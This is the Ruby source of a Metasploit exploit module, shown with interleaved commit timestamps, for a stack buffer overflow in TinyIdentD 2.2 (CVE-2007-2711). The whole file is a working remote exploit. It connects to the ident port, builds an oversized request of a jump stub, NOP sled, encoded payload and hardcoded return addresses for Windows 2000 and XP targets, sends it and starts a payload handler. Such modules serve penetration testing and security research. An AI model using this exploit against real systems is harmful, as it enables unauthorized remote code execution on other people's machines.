metasploit-framework/modules/exploits/windows/misc/tiny_identd_overflow.rb

68 lines
1.7 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = AverageRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'TinyIdentD 2.2 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
If we send a long string to the ident service we can overwrite the return
address and execute arbitrary code. Credit to Maarten Boone.
},
'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',
'References' =>
[
['CVE', '2007-2711'],
['OSVDB', '36053'],
['BID', '23981'],
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0d\x20\x0a"
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 Server SP4 English', { 'Ret' => 0x7c2d15e7, } ], # call esi
['Windows XP SP2 Italian', { 'Ret' => 0x77f46eda, } ], # call esi
2013-08-30 21:28:54 +00:00
],
'Privileged' => false,
'DisclosureDate' => 'May 14 2007'
))
2013-08-30 21:28:54 +00:00
register_options([ Opt::RPORT(113) ], self.class)
end
2013-08-30 21:28:54 +00:00
def exploit
connect
2013-08-30 21:28:54 +00:00
pattern = "\xeb\x20"+", 28 : USERID : UNIX :";
pattern << make_nops(0x1eb - payload.encoded.length)
pattern << payload.encoded
pattern << [ target.ret ].pack('V')
2013-08-30 21:28:54 +00:00
request = pattern + "\n"
2013-08-30 21:28:54 +00:00
print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")
2013-08-30 21:28:54 +00:00
sock.put(request)
2013-08-30 21:28:54 +00:00
handler
disconnect
end
end